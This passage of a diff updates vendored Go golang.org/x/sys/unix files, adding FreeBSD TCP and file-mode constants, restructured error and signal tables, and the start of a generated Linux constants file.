-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISTXT = 0x200
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXGRP = 0x8
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
- TAB0 = 0x0
- TAB3 = 0x4
- TABDLY = 0x4
-@@ -1306,10 +1455,45 @@ const (
- TCOFLUSH = 0x2
- TCOOFF = 0x1
- TCOON = 0x2
-+ TCP_BBR_ACK_COMP_ALG = 0x448
-+ TCP_BBR_DRAIN_INC_EXTRA = 0x43c
-+ TCP_BBR_DRAIN_PG = 0x42e
-+ TCP_BBR_EXTRA_GAIN = 0x449
-+ TCP_BBR_IWINTSO = 0x42b
-+ TCP_BBR_LOWGAIN_FD = 0x436
-+ TCP_BBR_LOWGAIN_HALF = 0x435
-+ TCP_BBR_LOWGAIN_THRESH = 0x434
-+ TCP_BBR_MAX_RTO = 0x439
-+ TCP_BBR_MIN_RTO = 0x438
-+ TCP_BBR_ONE_RETRAN = 0x431
-+ TCP_BBR_PACE_CROSS = 0x442
-+ TCP_BBR_PACE_DEL_TAR = 0x43f
-+ TCP_BBR_PACE_PER_SEC = 0x43e
-+ TCP_BBR_PACE_SEG_MAX = 0x440
-+ TCP_BBR_PACE_SEG_MIN = 0x441
-+ TCP_BBR_PROBE_RTT_GAIN = 0x44d
-+ TCP_BBR_PROBE_RTT_INT = 0x430
-+ TCP_BBR_PROBE_RTT_LEN = 0x44e
-+ TCP_BBR_RACK_RTT_USE = 0x44a
-+ TCP_BBR_RECFORCE = 0x42c
-+ TCP_BBR_REC_OVER_HPTS = 0x43a
-+ TCP_BBR_RETRAN_WTSO = 0x44b
-+ TCP_BBR_RWND_IS_APP = 0x42f
-+ TCP_BBR_STARTUP_EXIT_EPOCH = 0x43d
-+ TCP_BBR_STARTUP_LOSS_EXIT = 0x432
-+ TCP_BBR_STARTUP_PG = 0x42d
-+ TCP_BBR_UNLIMITED = 0x43b
-+ TCP_BBR_USEDEL_RATE = 0x437
-+ TCP_BBR_USE_LOWGAIN = 0x433
- TCP_CA_NAME_MAX = 0x10
- TCP_CCALGOOPT = 0x41
- TCP_CONGESTION = 0x40
-+ TCP_DATA_AFTER_CLOSE = 0x44c
-+ TCP_DELACK = 0x48
- TCP_FASTOPEN = 0x401
-+ TCP_FASTOPEN_MAX_COOKIE_LEN = 0x10
-+ TCP_FASTOPEN_MIN_COOKIE_LEN = 0x4
-+ TCP_FASTOPEN_PSK_LEN = 0x10
- TCP_FUNCTION_BLK = 0x2000
- TCP_FUNCTION_NAME_LEN_MAX = 0x20
- TCP_INFO = 0x20
-@@ -1317,6 +1501,12 @@ const (
- TCP_KEEPIDLE = 0x100
- TCP_KEEPINIT = 0x80
- TCP_KEEPINTVL = 0x200
-+ TCP_LOG = 0x22
-+ TCP_LOGBUF = 0x23
-+ TCP_LOGDUMP = 0x25
-+ TCP_LOGDUMPID = 0x26
-+ TCP_LOGID = 0x24
-+ TCP_LOG_ID_LEN = 0x40
- TCP_MAXBURST = 0x4
- TCP_MAXHLEN = 0x3c
- TCP_MAXOLEN = 0x28
-@@ -1332,8 +1522,30 @@ const (
- TCP_NOPUSH = 0x4
- TCP_PCAP_IN = 0x1000
- TCP_PCAP_OUT = 0x800
-+ TCP_RACK_EARLY_RECOV = 0x423
-+ TCP_RACK_EARLY_SEG = 0x424
-+ TCP_RACK_IDLE_REDUCE_HIGH = 0x444
-+ TCP_RACK_MIN_PACE = 0x445
-+ TCP_RACK_MIN_PACE_SEG = 0x446
-+ TCP_RACK_MIN_TO = 0x422
-+ TCP_RACK_PACE_ALWAYS = 0x41f
-+ TCP_RACK_PACE_MAX_SEG = 0x41e
-+ TCP_RACK_PACE_REDUCE = 0x41d
-+ TCP_RACK_PKT_DELAY = 0x428
-+ TCP_RACK_PROP = 0x41b
-+ TCP_RACK_PROP_RATE = 0x420
-+ TCP_RACK_PRR_SENDALOT = 0x421
-+ TCP_RACK_REORD_FADE = 0x426
-+ TCP_RACK_REORD_THRESH = 0x425
-+ TCP_RACK_SESS_CWV = 0x42a
-+ TCP_RACK_TLP_INC_VAR = 0x429
-+ TCP_RACK_TLP_REDUCE = 0x41c
-+ TCP_RACK_TLP_THRESH = 0x427
-+ TCP_RACK_TLP_USE = 0x447
- TCP_VENDOR = 0x80000000
- TCSAFLUSH = 0x2
-+ TIMER_ABSTIME = 0x1
-+ TIMER_RELTIME = 0x0
- TIOCCBRK = 0x2000747a
- TIOCCDTR = 0x20007478
- TIOCCONS = 0x80047462
-@@ -1397,6 +1609,8 @@ const (
- TIOCTIMESTAMP = 0x40107459
- TIOCUCNTL = 0x80047466
- TOSTOP = 0x400000
-+ UTIME_NOW = -0x1
-+ UTIME_OMIT = -0x2
- VDISCARD = 0xf
- VDSUSP = 0xb
- VEOF = 0x0
-@@ -1408,6 +1622,7 @@ const (
- VKILL = 0x5
- VLNEXT = 0xe
- VMIN = 0x10
-+ VM_BCACHE_SIZE_MAX = 0x19000000
- VQUIT = 0x9
- VREPRINT = 0x6
- VSTART = 0xc
-@@ -1570,138 +1785,146 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "operation timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "identifier removed",
-- 83: "no message of desired type",
-- 84: "value too large to be stored in data type",
-- 85: "operation canceled",
-- 86: "illegal byte sequence",
-- 87: "attribute not found",
-- 88: "programming error",
-- 89: "bad message",
-- 90: "multihop attempted",
-- 91: "link has been severed",
-- 92: "protocol error",
-- 93: "capabilities insufficient",
-- 94: "not permitted in capability mode",
-- 95: "state not recoverable",
-- 96: "previous owner died",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIDRM", "identifier removed"},
-+ {83, "ENOMSG", "no message of desired type"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "ECANCELED", "operation canceled"},
-+ {86, "EILSEQ", "illegal byte sequence"},
-+ {87, "ENOATTR", "attribute not found"},
-+ {88, "EDOOFUS", "programming error"},
-+ {89, "EBADMSG", "bad message"},
-+ {90, "EMULTIHOP", "multihop attempted"},
-+ {91, "ENOLINK", "link has been severed"},
-+ {92, "EPROTO", "protocol error"},
-+ {93, "ENOTCAPABLE", "capabilities insufficient"},
-+ {94, "ECAPMODE", "not permitted in capability mode"},
-+ {95, "ENOTRECOVERABLE", "state not recoverable"},
-+ {96, "EOWNERDEAD", "previous owner died"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "suspended (signal)",
-- 18: "suspended",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "unknown signal",
-- 33: "unknown signal",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGIOT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGTHR", "unknown signal"},
-+ {33, "SIGLIBRT", "unknown signal"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux.go b/vendor/golang.org/x/sys/unix/zerrors_linux.go
-new file mode 100644
-index 00000000..21973940
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux.go
-@@ -0,0 +1,2469 @@
-+// Code generated by mkmerge.go; DO NOT EDIT.
-+
-+// +build linux
-+
-+package unix
-+
-+import "syscall"
-+
-+const (
-+ AAFS_MAGIC = 0x5a3c69f0
-+ ADFS_SUPER_MAGIC = 0xadf5
-+ AFFS_SUPER_MAGIC = 0xadff
-+ AFS_FS_MAGIC = 0x6b414653
-+ AFS_SUPER_MAGIC = 0x5346414f
-+ AF_ALG = 0x26
-+ AF_APPLETALK = 0x5
-+ AF_ASH = 0x12
-+ AF_ATMPVC = 0x8
-+ AF_ATMSVC = 0x14
-+ AF_AX25 = 0x3
-+ AF_BLUETOOTH = 0x1f
-+ AF_BRIDGE = 0x7
-+ AF_CAIF = 0x25
-+ AF_CAN = 0x1d
-+ AF_DECnet = 0xc
-+ AF_ECONET = 0x13
-+ AF_FILE = 0x1
-+ AF_IB = 0x1b
-+ AF_IEEE802154 = 0x24
-+ AF_INET = 0x2
-+ AF_INET6 = 0xa
-+ AF_IPX = 0x4
-+ AF_IRDA = 0x17
-+ AF_ISDN = 0x22
-+ AF_IUCV = 0x20
-+ AF_KCM = 0x29
-+ AF_KEY = 0xf
-+ AF_LLC = 0x1a
-+ AF_LOCAL = 0x1
-+ AF_MAX = 0x2d
-+ AF_MPLS = 0x1c
-+ AF_NETBEUI = 0xd
-+ AF_NETLINK = 0x10
-+ AF_NETROM = 0x6
-+ AF_NFC = 0x27
-+ AF_PACKET = 0x11
-+ AF_PHONET = 0x23
-+ AF_PPPOX = 0x18
-+ AF_QIPCRTR = 0x2a
-+ AF_RDS = 0x15
-+ AF_ROSE = 0xb
-+ AF_ROUTE = 0x10
-+ AF_RXRPC = 0x21
-+ AF_SECURITY = 0xe
-+ AF_SMC = 0x2b
-+ AF_SNA = 0x16
-+ AF_TIPC = 0x1e
-+ AF_UNIX = 0x1
-+ AF_UNSPEC = 0x0
-+ AF_VSOCK = 0x28
-+ AF_WANPIPE = 0x19
-+ AF_X25 = 0x9
-+ AF_XDP = 0x2c
-+ ALG_OP_DECRYPT = 0x0
-+ ALG_OP_ENCRYPT = 0x1
-+ ALG_SET_AEAD_ASSOCLEN = 0x4
-+ ALG_SET_AEAD_AUTHSIZE = 0x5
-+ ALG_SET_IV = 0x2
-+ ALG_SET_KEY = 0x1
-+ ALG_SET_OP = 0x3
-+ ANON_INODE_FS_MAGIC = 0x9041934
-+ ARPHRD_6LOWPAN = 0x339
-+ ARPHRD_ADAPT = 0x108
-+ ARPHRD_APPLETLK = 0x8
-+ ARPHRD_ARCNET = 0x7
-+ ARPHRD_ASH = 0x30d
-+ ARPHRD_ATM = 0x13
-+ ARPHRD_AX25 = 0x3
-+ ARPHRD_BIF = 0x307
-+ ARPHRD_CAIF = 0x336
-+ ARPHRD_CAN = 0x118
-+ ARPHRD_CHAOS = 0x5
-+ ARPHRD_CISCO = 0x201
-+ ARPHRD_CSLIP = 0x101
-+ ARPHRD_CSLIP6 = 0x103
-+ ARPHRD_DDCMP = 0x205
-+ ARPHRD_DLCI = 0xf
-+ ARPHRD_ECONET = 0x30e
-+ ARPHRD_EETHER = 0x2
-+ ARPHRD_ETHER = 0x1
-+ ARPHRD_EUI64 = 0x1b
-+ ARPHRD_FCAL = 0x311
-+ ARPHRD_FCFABRIC = 0x313
-+ ARPHRD_FCPL = 0x312
-+ ARPHRD_FCPP = 0x310
-+ ARPHRD_FDDI = 0x306
-+ ARPHRD_FRAD = 0x302
-+ ARPHRD_HDLC = 0x201
-+ ARPHRD_HIPPI = 0x30c
-+ ARPHRD_HWX25 = 0x110
-+ ARPHRD_IEEE1394 = 0x18
-+ ARPHRD_IEEE802 = 0x6
-+ ARPHRD_IEEE80211 = 0x321
-+ ARPHRD_IEEE80211_PRISM = 0x322
-+ ARPHRD_IEEE80211_RADIOTAP = 0x323
-+ ARPHRD_IEEE802154 = 0x324
-+ ARPHRD_IEEE802154_MONITOR = 0x325
-+ ARPHRD_IEEE802_TR = 0x320
-+ ARPHRD_INFINIBAND = 0x20
-+ ARPHRD_IP6GRE = 0x337
-+ ARPHRD_IPDDP = 0x309
-+ ARPHRD_IPGRE = 0x30a
-+ ARPHRD_IRDA = 0x30f
-+ ARPHRD_LAPB = 0x204
-+ ARPHRD_LOCALTLK = 0x305
-+ ARPHRD_LOOPBACK = 0x304
-+ ARPHRD_METRICOM = 0x17
-+ ARPHRD_NETLINK = 0x338
-+ ARPHRD_NETROM = 0x0
-+ ARPHRD_NONE = 0xfffe
-+ ARPHRD_PHONET = 0x334
-+ ARPHRD_PHONET_PIPE = 0x335
-+ ARPHRD_PIMREG = 0x30b
-+ ARPHRD_PPP = 0x200
-+ ARPHRD_PRONET = 0x4
-+ ARPHRD_RAWHDLC = 0x206
-+ ARPHRD_RAWIP = 0x207
-+ ARPHRD_ROSE = 0x10e
-+ ARPHRD_RSRVD = 0x104
-+ ARPHRD_SIT = 0x308
-+ ARPHRD_SKIP = 0x303
-+ ARPHRD_SLIP = 0x100
-+ ARPHRD_SLIP6 = 0x102
-+ ARPHRD_TUNNEL = 0x300
-+ ARPHRD_TUNNEL6 = 0x301
-+ ARPHRD_VOID = 0xffff
-+ ARPHRD_VSOCKMON = 0x33a
-+ ARPHRD_X25 = 0x10f
-+ AUTOFS_SUPER_MAGIC = 0x187
-+ B0 = 0x0
-+ B110 = 0x3
-+ B1200 = 0x9
-+ B134 = 0x4
-+ B150 = 0x5
-+ B1800 = 0xa
-+ B19200 = 0xe
-+ B200 = 0x6
-+ B2400 = 0xb
-+ B300 = 0x7
-+ B38400 = 0xf
-+ B4800 = 0xc
-+ B50 = 0x1
-+ B600 = 0x8
-+ B75 = 0x2
-+ B9600 = 0xd
-+ BALLOON_KVM_MAGIC = 0x13661366
-+ BDEVFS_MAGIC = 0x62646576
-+ BINDERFS_SUPER_MAGIC = 0x6c6f6f70
-+ BINFMTFS_MAGIC = 0x42494e4d
-+ BPF_A = 0x10
-+ BPF_ABS = 0x20
-+ BPF_ADD = 0x0
-+ BPF_ADJ_ROOM_ENCAP_L2_MASK = 0xff
-+ BPF_ADJ_ROOM_ENCAP_L2_SHIFT = 0x38
-+ BPF_ALU = 0x4
-+ BPF_ALU64 = 0x7
-+ BPF_AND = 0x50
-+ BPF_ANY = 0x0
-+ BPF_ARSH = 0xc0
-+ BPF_B = 0x10
-+ BPF_BUILD_ID_SIZE = 0x14
-+ BPF_CALL = 0x80
-+ BPF_DEVCG_ACC_MKNOD = 0x1
-+ BPF_DEVCG_ACC_READ = 0x2
-+ BPF_DEVCG_ACC_WRITE = 0x4
-+ BPF_DEVCG_DEV_BLOCK = 0x1
-+ BPF_DEVCG_DEV_CHAR = 0x2
-+ BPF_DIV = 0x30
-+ BPF_DW = 0x18
-+ BPF_END = 0xd0
-+ BPF_EXIST = 0x2
-+ BPF_EXIT = 0x90
-+ BPF_FLOW_DISSECTOR_F_PARSE_1ST_FRAG = 0x1
-+ BPF_FLOW_DISSECTOR_F_STOP_AT_ENCAP = 0x4
-+ BPF_FLOW_DISSECTOR_F_STOP_AT_FLOW_LABEL = 0x2
-+ BPF_FROM_BE = 0x8
-+ BPF_FROM_LE = 0x0
-+ BPF_FS_MAGIC = 0xcafe4a11
-+ BPF_F_ADJ_ROOM_ENCAP_L3_IPV4 = 0x2
-+ BPF_F_ADJ_ROOM_ENCAP_L3_IPV6 = 0x4
-+ BPF_F_ADJ_ROOM_ENCAP_L4_GRE = 0x8
-+ BPF_F_ADJ_ROOM_ENCAP_L4_UDP = 0x10
-+ BPF_F_ADJ_ROOM_FIXED_GSO = 0x1
-+ BPF_F_ALLOW_MULTI = 0x2
-+ BPF_F_ALLOW_OVERRIDE = 0x1
-+ BPF_F_ANY_ALIGNMENT = 0x2
-+ BPF_F_CLONE = 0x200
-+ BPF_F_CTXLEN_MASK = 0xfffff00000000
-+ BPF_F_CURRENT_CPU = 0xffffffff
-+ BPF_F_CURRENT_NETNS = -0x1
-+ BPF_F_DONT_FRAGMENT = 0x4
-+ BPF_F_FAST_STACK_CMP = 0x200
-+ BPF_F_HDR_FIELD_MASK = 0xf
-+ BPF_F_INDEX_MASK = 0xffffffff
-+ BPF_F_INGRESS = 0x1
-+ BPF_F_INVALIDATE_HASH = 0x2
-+ BPF_F_LOCK = 0x4
-+ BPF_F_MARK_ENFORCE = 0x40
-+ BPF_F_MARK_MANGLED_0 = 0x20
-+ BPF_F_MMAPABLE = 0x400
-+ BPF_F_NO_COMMON_LRU = 0x2
-+ BPF_F_NO_PREALLOC = 0x1
-+ BPF_F_NUMA_NODE = 0x4
-+ BPF_F_PSEUDO_HDR = 0x10
-+ BPF_F_QUERY_EFFECTIVE = 0x1
-+ BPF_F_RDONLY = 0x8
-+ BPF_F_RDONLY_PROG = 0x80
-+ BPF_F_RECOMPUTE_CSUM = 0x1
-+ BPF_F_REPLACE = 0x4
-+ BPF_F_REUSE_STACKID = 0x400
-+ BPF_F_SEQ_NUMBER = 0x8
-+ BPF_F_SKIP_FIELD_MASK = 0xff
-+ BPF_F_STACK_BUILD_ID = 0x20
-+ BPF_F_STRICT_ALIGNMENT = 0x1
-+ BPF_F_SYSCTL_BASE_NAME = 0x1
-+ BPF_F_TEST_RND_HI32 = 0x4
-+ BPF_F_TEST_STATE_FREQ = 0x8
-+ BPF_F_TUNINFO_IPV6 = 0x1
-+ BPF_F_USER_BUILD_ID = 0x800
-+ BPF_F_USER_STACK = 0x100
-+ BPF_F_WRONLY = 0x10
-+ BPF_F_WRONLY_PROG = 0x100
-+ BPF_F_ZERO_CSUM_TX = 0x2
-+ BPF_F_ZERO_SEED = 0x40
-+ BPF_H = 0x8
-+ BPF_IMM = 0x0
-+ BPF_IND = 0x40
-+ BPF_JA = 0x0
-+ BPF_JEQ = 0x10
-+ BPF_JGE = 0x30
-+ BPF_JGT = 0x20
-+ BPF_JLE = 0xb0
-+ BPF_JLT = 0xa0
-+ BPF_JMP = 0x5
-+ BPF_JMP32 = 0x6
-+ BPF_JNE = 0x50
-+ BPF_JSET = 0x40
-+ BPF_JSGE = 0x70
-+ BPF_JSGT = 0x60
-+ BPF_JSLE = 0xd0
-+ BPF_JSLT = 0xc0
-+ BPF_K = 0x0
-+ BPF_LD = 0x0
-+ BPF_LDX = 0x1
-+ BPF_LEN = 0x80
-+ BPF_LL_OFF = -0x200000
-+ BPF_LSH = 0x60
-+ BPF_MAJOR_VERSION = 0x1
-+ BPF_MAXINSNS = 0x1000
-+ BPF_MEM = 0x60
-+ BPF_MEMWORDS = 0x10
-+ BPF_MINOR_VERSION = 0x1
-+ BPF_MISC = 0x7
-+ BPF_MOD = 0x90
-+ BPF_MOV = 0xb0
-+ BPF_MSH = 0xa0
-+ BPF_MUL = 0x20
-+ BPF_NEG = 0x80
-+ BPF_NET_OFF = -0x100000
-+ BPF_NOEXIST = 0x1
-+ BPF_OBJ_NAME_LEN = 0x10
-+ BPF_OR = 0x40
-+ BPF_PSEUDO_CALL = 0x1
-+ BPF_PSEUDO_MAP_FD = 0x1
-+ BPF_PSEUDO_MAP_VALUE = 0x2
-+ BPF_RET = 0x6
-+ BPF_RSH = 0x70
-+ BPF_SK_STORAGE_GET_F_CREATE = 0x1
-+ BPF_SOCK_OPS_ALL_CB_FLAGS = 0xf
-+ BPF_SOCK_OPS_RETRANS_CB_FLAG = 0x2
-+ BPF_SOCK_OPS_RTO_CB_FLAG = 0x1
-+ BPF_SOCK_OPS_RTT_CB_FLAG = 0x8
-+ BPF_SOCK_OPS_STATE_CB_FLAG = 0x4
-+ BPF_ST = 0x2
-+ BPF_STX = 0x3
-+ BPF_SUB = 0x10
-+ BPF_TAG_SIZE = 0x8
-+ BPF_TAX = 0x0
-+ BPF_TO_BE = 0x8
-+ BPF_TO_LE = 0x0
-+ BPF_TXA = 0x80
-+ BPF_W = 0x0
-+ BPF_X = 0x8
-+ BPF_XADD = 0xc0
-+ BPF_XOR = 0xa0
-+ BRKINT = 0x2
-+ BS0 = 0x0
-+ BTRFS_SUPER_MAGIC = 0x9123683e
-+ BTRFS_TEST_MAGIC = 0x73727279
-+ CAN_BCM = 0x2
-+ CAN_EFF_FLAG = 0x80000000
-+ CAN_EFF_ID_BITS = 0x1d
-+ CAN_EFF_MASK = 0x1fffffff
-+ CAN_ERR_FLAG = 0x20000000
-+ CAN_ERR_MASK = 0x1fffffff
-+ CAN_INV_FILTER = 0x20000000
-+ CAN_ISOTP = 0x6
-+ CAN_J1939 = 0x7
-+ CAN_MAX_DLC = 0x8
-+ CAN_MAX_DLEN = 0x8
-+ CAN_MCNET = 0x5
-+ CAN_MTU = 0x10
-+ CAN_NPROTO = 0x8
-+ CAN_RAW = 0x1
-+ CAN_RAW_FILTER_MAX = 0x200
-+ CAN_RTR_FLAG = 0x40000000
-+ CAN_SFF_ID_BITS = 0xb
-+ CAN_SFF_MASK = 0x7ff
-+ CAN_TP16 = 0x3
-+ CAN_TP20 = 0x4
-+ CAP_AUDIT_CONTROL = 0x1e
-+ CAP_AUDIT_READ = 0x25
-+ CAP_AUDIT_WRITE = 0x1d
-+ CAP_BLOCK_SUSPEND = 0x24
-+ CAP_CHOWN = 0x0
-+ CAP_DAC_OVERRIDE = 0x1
-+ CAP_DAC_READ_SEARCH = 0x2
-+ CAP_FOWNER = 0x3
-+ CAP_FSETID = 0x4
-+ CAP_IPC_LOCK = 0xe
-+ CAP_IPC_OWNER = 0xf
-+ CAP_KILL = 0x5
-+ CAP_LAST_CAP = 0x25
-+ CAP_LEASE = 0x1c
-+ CAP_LINUX_IMMUTABLE = 0x9
-+ CAP_MAC_ADMIN = 0x21
-+ CAP_MAC_OVERRIDE = 0x20
-+ CAP_MKNOD = 0x1b
-+ CAP_NET_ADMIN = 0xc
-+ CAP_NET_BIND_SERVICE = 0xa
-+ CAP_NET_BROADCAST = 0xb
-+ CAP_NET_RAW = 0xd
-+ CAP_SETFCAP = 0x1f
-+ CAP_SETGID = 0x6
-+ CAP_SETPCAP = 0x8
-+ CAP_SETUID = 0x7
-+ CAP_SYSLOG = 0x22
-+ CAP_SYS_ADMIN = 0x15
